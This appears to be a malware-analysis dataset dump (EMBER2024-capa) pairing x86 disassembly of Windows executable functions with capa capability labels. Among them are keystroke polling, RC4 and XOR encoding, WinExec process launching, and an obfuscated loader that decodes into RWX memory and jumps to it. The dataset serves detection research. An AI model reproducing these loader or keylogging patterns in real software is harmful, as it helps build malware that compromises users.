joyce8/EMBER2024-capa huggingface dataset:
Function at 0x494452
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4c9a2a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
lea ecx, [esp + 0x20]
call fcn.004be8f4
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.004209e2
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.004be822
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.004b9700
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.004b9700
push 1
push 0
push 0
mov ecx, esi
call fcn.004b96a8
push 1
push 0
push 1
mov ecx, esi
call fcn.004b96a8
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.004be966
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x4945d2
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4c9a4a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.004be8f4
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.004209e2
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.004be822
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x494696
cmp dword [esp + 0x40], 1
jne 0x494694
cmp ecx, eax
jge 0x494696
mov eax, ecx
cmp eax, 0xc8
jge 0x4946a2
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.00494452
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.004be966
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x49c342
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4ca0fa
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, dword [esp + 0x40]
push esi
lea ecx, [esp + 0x20]
call fcn.004be9a8
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0xc]
push eax
push ecx
mov dword [esp + 0x40], 0
call dword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [esp + 0x18]
mov esi, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub eax, esi
sub ecx, edx
mov edx, dword [esp + 0x4c]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x48]
mov dword [esp + 4], ecx
mov ecx, dword [esp + 0x44]
push edx
push eax
lea edx, [esp + 0xc]
push ecx
lea eax, [esp + 0x28]
push edx
push eax
call fcn.0049c212
add esp, 0x14
lea ecx, [esp + 0x1c]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.004bea1a
mov ecx, dword [esp + 0x30]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x49cca2
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0x1c], ecx
mov eax, 1
test eax, eax
je 0x49cd87
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xc], 0
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x3c]
push ecx
call dword [sym.imp.KERNEL32.dll_ClearCommError]
mov edx, dword [ebp - 0x18]
and edx, 0xe
test edx, edx
je 0x49ccf4
push 0
push 0x405
mov ecx, dword [ebp - 0x1c]
call fcn.0049c549
cmp dword [ebp - 0xc], 0
jne 0x49ccff
jmp 0x49cd87
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x1c]
add eax, 0x40
push eax
lea ecx, [ebp - 0x14]
push ecx
push 1
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x3c]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x49cd6b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x49cd69
push 1
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x1c]
add eax, 0x40
push eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x3c]
push edx
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
je 0x49cd69
mov eax, dword [ebp - 4]
and eax, 0xff
push eax
push 0x408
mov ecx, dword [ebp - 0x1c]
call fcn.0049c549
jmp 0x49cd82
mov ecx, dword [ebp - 4]
and ecx, 0xff
push ecx
push 0x408
mov ecx, dword [ebp - 0x1c]
call fcn.0049c549
jmp 0x49ccab
mov esp, ebp
pop ebp
ret
Function at 0x49cd8b
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov dword [eax + 0x48], 0
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x4c], 0
push 0xf
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_PurgeComm]
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x8c], 1
mov ecx, dword [ebp - 8]
add ecx, 0x78
call fcn.0049d4c2
test eax, eax
jle 0x49ce55
mov edx, dword [ebp - 8]
add edx, 0x40
push edx
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
add ecx, 0x78
call fcn.0049d4c2
push eax
mov ecx, dword [ebp - 8]
add ecx, 0x78
call fcn.0049d492
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x3c]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x49ce55
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x49ce48
push 1
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
add ecx, 0x40
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
jne 0x49ce46
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x8c], 0
jmp 0x49ce55
mov edx, dword [ebp - 8]
mov dword [edx + 0x8c], 0
mov ecx, dword [ebp - 8]
add ecx, 0x68
call fcn.0049d472
mov esp, ebp
pop ebp
ret
Function at 0x4b0d94
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x78bdf2
cmp edx, dword [eax]
je 0x4b0db6
add eax, 8
inc ecx
cmp eax, 0x78be82
jl 0x4b0da7
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x78bdf2]
jne 0x4b0ee4
mov eax, dword [0x79b39a]
cmp eax, 1
je 0x4b0ebe
test eax, eax
jne 0x4b0de7
cmp dword [0x79b39e], 1
je 0x4b0ebe
cmp edx, 0xfc
je 0x4b0ee4
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4b0e1e
lea eax, [ebp - 0x1a4]
push 0x4dd77c
push eax
call fcn.004af932
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004a7612
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4b0e61
lea eax, [ebp - 0x1a4]
push eax
call fcn.004a7612
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x77ed1a
push edi
call fcn.004a6ad2
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4dd760
push eax
call fcn.004af932
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004af942
lea eax, [ebp - 0xa0]
push 0x4dd75c
push eax
call fcn.004af942
push dword [esi + 0x78bdf6]
lea eax, [ebp - 0xa0]
push eax
call fcn.004af942
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4dd734
push eax
call fcn.004b353e
add esp, 0x2c
pop edi
jmp 0x4b0ee4
lea eax, [ebp + 8]
lea esi, [esi + 0x78bdf6]
push 0
push eax
push dword [esi]
call fcn.004a7612
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x4b8911
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4b8949
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004bb597
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004bb56f
jmp 0x4b8955
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4ba008
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4ba04a
call fcn.004c2453
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4ba04a
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4ba041
xor eax, eax
jmp 0x4ba052
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004ba058
pop edi
pop esi
pop ebx
ret 4
Function at 0x4cb7ca
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ed008
push 0x4cbde2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor edx, edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 4], edx
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x1c], ecx
cmp word [ecx], 0x5a4d
jne 0x4cb856
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov dword [ebp - 0x28], eax
cmp dword [eax], 0x4550
jne 0x4cb856
cmp word [eax + 6], dx
je 0x4cb856
lea ecx, [eax + 0x18]
mov dword [ebp - 0x24], ecx
cmp word [ecx], 0x10b
jne 0x4cb856
cmp dword [ecx + 0x38], edx
je 0x4cb856
cmp dword [ecx + 0x3c], edx
je 0x4cb856
test byte [eax + 0x16], 2
je 0x4cb84d
test byte [eax + 0x5c], 3
je 0x4cb84d
cmp dword [eax + 0x74], 0x10
je 0x4cb86a
mov dword [ebp - 0x20], 0x80000090
jmp 0x4cb86a
mov dword [ebp - 0x20], VariantClear
jmp 0x4cb86a
mov dword [ebp - 0x20], SysReAllocString
jmp 0x4cb86a
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x40100b
Capabilities:
Query or enumerate registry value

Disassembly:
call 0x40100b
push eax
call sub.KERNEL32.dll_ExitProcess
push ebp
mov ebp, esp
add esp, 0xfffffef0
jmp 0x40109c
lea eax, [ebp - 0x104]
push eax
call fcn.004011ec
push 0x401019
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
jne 0x401165
lea eax, [ebp - 0x10c]
push eax
push 0x20019
push 0
push 0x401038
push 0x80000001
call sub.ADVAPI32.dll_RegOpenKeyExA
cmp eax, 0
jne 0x4011a5
mov dword [ebp - 0x110], 0x103
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x104]
push eax
push 0
push 0
push 0x401052
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegQueryValueExA
push eax
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegCloseKey
pop eax
cmp eax, 0
jne 0x4011a5
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrlenA
lea ebx, [ebp - 0x104]
add ebx, eax
dec ebx
cmp byte [ebx], 0x5c
je 0x40114a
mov word [ebx], 0x5c
push 0x401023
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
je 0x4011a5
mov dword [ebp - 0x108], eax
push 0x40102d
push eax
call sub.KERNEL32.dll_GetProcAddress
test eax, eax
je 0x40119a
push 0x3e8
call eax
test eax, eax
je 0x40119a
call 0x40118a
add dword [esp], 0x1e76
call eax
push 0
call sub.KERNEL32.dll_ExitProcess
push dword [ebp - 0x108]
call sub.KERNEL32.dll_FreeLibrary
push 0x10
push 0x401096
push 0x401057
push 0
call sub.USER32.dll_MessageBoxA
mov eax, 0xffffffff
leave
ret
Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d

Function at 0x40974c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x40975b
pop dword [ebp - 0x3c]
mov eax, 0x9e7c9e34
sub eax, 0x9e3c06d9
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x1ad8cf55
add dword [ebp - 0x4c], 0x337975f6
mov dword [ebp - 0x48], 0x934ed8f
sub dword [ebp - 0x48], 0xd701a14a
mov dword [ebp - 0x44], 0x5ff5d6f2
sub dword [ebp - 0x44], 0x13a992c4
mov dword [ebp - 0x40], 0x75d1def5
sub dword [ebp - 0x40], 0x75d1def5
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x788c8f1c
sub eax, 0x784bbed0
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xcd999e44
add dword [ebp - 0x4c], 0xa6d8cb12
mov dword [ebp - 0x48], 0x934f6809
add dword [ebp - 0x48], 0xae1cf96c
mov dword [ebp - 0x44], 0xa6ac1973
sub dword [ebp - 0x44], 0x433cad07
mov dword [ebp - 0x40], 0x4f9e534c
add dword [ebp - 0x40], 0xb061acb4
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x39b6e
push 0
call eax
mov ecx, 0xfc07ae44
add ecx, 0x3f89a52
mov edi, eax
mov ebx, 0x5c87d858
sub ebx, 0x5c462858
add ebx, dword [ebp - 0x3c]
mov edx, 0x303d4a5
add dword [ebp - 0x10], ebx
mov esi, dword [ebx]
add dword [ebp - 0x38], 0xb45182e7
add esi, edx
xor dword [ebp - 0x10], edx
mov dword [edi], esi
xor dword [ebp - 0x10], ebx
add edi, 0x96e66259
sub edi, 0x96e66255
add ebx, 0x257a9c91
add ebx, 0xda856373
loop 0x409872
add eax, 0xe0f1b21e
add eax, 0x1f0f630d
xor ebx, ebx
add ebx, eax
add eax, 0xf015950
add eax, 0xf0fea6b5
mov ecx, 0x3f19fcef
sub ecx, 0x3ed9fcef
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x40ed71
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x40eae0
mov eax, esi
inc esi
call fcn.0040ed8d
xor dword [ecx], edi
inc ecx
cmp ecx, ebx
jne fcn.0040ed71
ret
Function at 0x40a740
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4663cb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0045afa9
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40a7c2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00458ec0
mov eax, dword [eax]
push 0x51f210
push eax
call fcn.0044baf4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0045b234
test bl, bl
je 0x40a7c2
push 0x51f210
lea ecx, [esp + 0xc]
call fcn.0045b5c4
push 0x522d74
lea ecx, [esp + 0xc]
call fcn.0045b5c4
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40a7fe
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0045b234
jmp 0x40a8c9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40a882
lea edx, [esp + 0x7c]
push 0x522d70
push edx
call fcn.0044baf4
add esp, 8
test eax, eax
je 0x40a882
lea eax, [esp + 0x7c]
push 0x522d6c
push eax
call fcn.0044baf4
add esp, 8
test eax, eax
je 0x40a882
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40a812
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0045b234
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40b0c0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40b122
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40b130
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x46644b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x529274]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40b268
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40b196
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045b234
xor eax, eax
jmp 0x40b2df
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0045b371
push esi
lea ecx, [esp + 0xc]
call fcn.0045b600
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40b2bd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.0040b0c0
test eax, eax
jne 0x40b2bd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0040b0c0
test eax, eax
jne 0x40b2bd
lea eax, [esp + 0x14]
push 0x522d88
push eax
call fcn.0044cb30
mov esi, eax
add esp, 8
test esi, esi
jne 0x40b29c
lea ecx, [esp + 0x14]
push 0x522d84
push ecx
call fcn.0044cab0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40b29c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40b29f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0045b321
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40b1ae
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045b234
xor eax, eax
jmp 0x40b2df
mov byte [esi], 0
push 0x522d80
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0045b234
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41bc60
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41bcce
cmp si, 0x69
ja 0x41bcce
add esi, 0xffd0
cmp si, 0x11
je 0x41bc9e
push 0x11
call edi
test ax, ax
jge 0x41bc9e
or esi, 0x2000
cmp si, 0x10
je 0x41bcb3
push 0x10
call edi
test ax, ax
jge 0x41bcb3
or esi, 0x4000
cmp si, 0x12
je 0x41bcc8
push 0x12
call edi
test ax, ax
jge 0x41bcc8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41bcdb
mov esi, 0xbd
jmp 0x41bc8f
cmp si, 0x6e
jne 0x41bce8
mov esi, 0xbe
jmp 0x41bc8f
cmp si, 0x6f
jne 0x41bc89
mov esi, 0xbf
jmp 0x41bc8f

Function at 0x41d490
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x539940]
xor edx, edx
cmp eax, edx
jne 0x41d4b6
xor eax, eax
mov byte [eax + 0x539840], al
inc eax
cmp eax, 0x100
jl 0x41d49e
mov dword [0x539940], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x539840
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41d547
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41d51a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41d4e8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41d5c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41d613
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41d5fa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret